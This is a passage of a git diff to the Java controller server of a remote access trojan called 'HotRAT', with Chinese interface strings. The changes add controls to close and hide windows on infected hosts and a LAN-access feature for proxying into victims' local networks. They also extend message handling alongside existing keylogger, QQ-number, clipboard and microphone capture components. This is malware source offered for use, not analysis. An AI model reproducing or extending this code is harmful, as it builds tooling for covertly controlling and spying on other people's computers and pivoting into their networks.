SRC)/RemoteControl-Server/src/me/server/receive/SendHeartPack.java index fce2942..fdb1b0c 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SendHeartPack.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SendHeartPack.java @@ -13,22 +13,18 @@ public class SendHeartPack extends Thread{ private JFrame frame; - private JTextArea area; - private String[] context; - private String osName; private Socket socket; private JTable table; private DefaultTableModel defaultTableModel; + private String computerName; private String contexts; - public SendHeartPack(Socket socket, JFrame frame, JTextArea area, String osName, String[] context, JTable table, DefaultTableModel defaultTableModel,String contexts) { + public SendHeartPack(Socket socket, JFrame frame,JTable table, DefaultTableModel defaultTableModel,String contexts,String computerName) { this.frame = frame; - this.area = area; - this.context = context; - this.osName = osName; this.socket = socket; this.table = table; this.defaultTableModel = defaultTableModel; - this.contexts = contexts; + this.contexts = contexts; + this.computerName = computerName; } public void run() { @@ -42,13 +38,12 @@ public void run() { try { Date date = new Date(); SimpleDateFormat format = new SimpleDateFormat("hh:mm:ss"); - String name = context[1]; PlayMusic.offline(); - area.append("[" + format.format(date) + "]" +"有主机下线请注意!" + " 主机名称:" + name + "\n"); Server.map.remove(contexts); Server.flashTable(table,defaultTableModel); + Server.defaultTableModel.addRow(new String[]{format.format(date),"主机下线:" + computerName}); frame.repaint(); - JOptionPane.showMessageDialog(null,name + ":主机已经下线..","提示",JOptionPane.ERROR_MESSAGE); + JOptionPane.showMessageDialog(null,computerName + ":主机已经下线..","提示",JOptionPane.ERROR_MESSAGE); } catch (Exception var3) { } } diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SystemManager.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SystemManager.java index d97cade..c775011 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SystemManager.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/receive/SystemManager.java @@ -34,6 +34,7 @@ public SystemManager(Socket socket, String IP) throws IOException { JPanel panel = new JPanel(); JButton button = new JButton("刷新"); JButton button1 = new JButton("结束进程"); + JButton button2 = new JButton("关闭窗口"); JButton button3 = new JButton("隐藏窗口"); JButton button4 = new JButton("显示窗口"); @@ -60,7 +61,7 @@ public boolean isCellEditable(int row, int column) { } }; defaultTableModel = new DefaultTableModel(null,new String[]{"","进程名","CPU","Memory","VSZ","RSS","PID","路径"}); - defaultTableModel1 = new DefaultTableModel(null,new String[]{"","PID","窗口名称"}); + defaultTableModel1 = new DefaultTableModel(null,new String[]{"","PID","窗口句柄","窗口名称"}); defaultTableModel2 = new DefaultTableModel(null,new String[]{"","设备名称","设备信息"}); table.setModel(defaultTableModel); table.setShowVerticalLines(false); @@ -90,8 +91,9 @@ public boolean isCellEditable(int row, int column) { windowsTable.getColumnModel().getColumn(0) .setCellRenderer(new ImageRendererUtils()); windowsTable.getColumnModel().getColumn(0).setPreferredWidth(20); - windowsTable.getColumnModel().getColumn(1).setPreferredWidth(200); - windowsTable.getColumnModel().getColumn(2).setPreferredWidth(700); + windowsTable.getColumnModel().getColumn(1).setPreferredWidth(150); + windowsTable.getColumnModel().getColumn(2).setPreferredWidth(150); + windowsTable.getColumnModel().getColumn(3).setPreferredWidth(600); systemTable.setModel(defaultTableModel2); systemTable.setShowVerticalLines(false); @@ -211,7 +213,7 @@ public void taskListUpdate(byte[] bytes) throws IOException { public void windowsUpdate(byte[] bytes) throws IOException { String context = new String(bytes); String[] strs = context.split("\\|"); - Object[] objects = {image1,strs[0],strs[1]}; + Object[] objects = {image1,strs[0],strs[1],strs[2]}; defaultTableModel1.addRow(objects); } public void systemUpdate(byte[] bytes) throws IOException { diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/MessageFlags.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/MessageFlags.java index 6501f88..3b1b1e8 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/MessageFlags.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/MessageFlags.java @@ -93,5 +93,12 @@ public class MessageFlags { public static final byte CLOSE_REGIDTER = 89; public static final byte REGIDTER_CREATE_KEY = 90; public static final byte REGIDTER_DELETE_KEY = 91; + public static final byte PICTURE_SHOW = 92; + public static final byte PICTURE_CLOSE = 93; + public static final byte FILE_DELETE_ERROR = 94; + public static final byte LAN_ACCESS_GET = 95; + public static final byte LAN_ACCESS_POST = 96; + public static final byte LAN_ACCESS_ERROR = 97; + public static final byte LAN_ACCESS_OPEN = 98; public static final byte RELIEVE = 100; } diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/ReceiveMessage.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/ReceiveMessage.java index 96979bb..f825cc9 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/ReceiveMessage.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/ReceiveMessage.java @@ -23,6 +23,7 @@ public class ReceiveMessage extends Thread{ GetQQNumber getQQNumber; ClipBorad clipBorad; KeyBoardHook hook; + LANAccess lanAccess; FileOutputStream fileOutputStream; RegisterManager registerManager; public ReceiveMessage(Socket socket,String IP) throws Exception{ @@ -200,10 +201,29 @@ public void run() { case MessageFlags.AUDIO_ERROR: JOptionPane.showMessageDialog(null,"麦克风初始化错误!","错误",JOptionPane.ERROR_MESSAGE); break; + case MessageFlags.FILE_DELETE_ERROR: + JOptionPane.showMessageDialog(null,"文件删除失败","错误",JOptionPane.ERROR_MESSAGE); + break; + case MessageFlags.LAN_ACCESS_OPEN: + lanAccess = new LANAccess(socket,IP); + break; + case MessageFlags.LAN_ACCESS_GET: + len = SendMessage.receiveLength(dataInputStream); + context = SendMessage.receiveContext(dataInputStream, len); + lanAccess.update(context); + break; + case MessageFlags.LAN_ACCESS_ERROR: + JOptionPane.showMessageDialog(null,"访问错误","错误",JOptionPane.ERROR_MESSAGE); + break; + case MessageFlags.LAN_ACCESS_POST: + len = SendMessage.receiveLength(dataInputStream); + context = SendMessage.receiveContext(dataInputStream, len); + lanAccess.update(context); + break; } } }catch (Exception e) { - e.printStackTrace(); + } } } diff --git a/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/SendMessage.java b/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/SendMessage.java index 6641376..b0029e6 100644 --- a/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/SendMessage.java +++ b/HotRAT SRC)/RemoteControl-Server/src/me/server/utils/SendMessage.java @@ -1,10 +1,15 @@ package me.server.utils; +import com.sun.javafx.collections.MappingChange; +import me.server.Server; import me.server.utils.ZipUtils; import java.io.*; import java.net.Socket; import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; public class SendMessage { public static byte[] ToByte(byte Head,int len,byte[] context) throws IOException {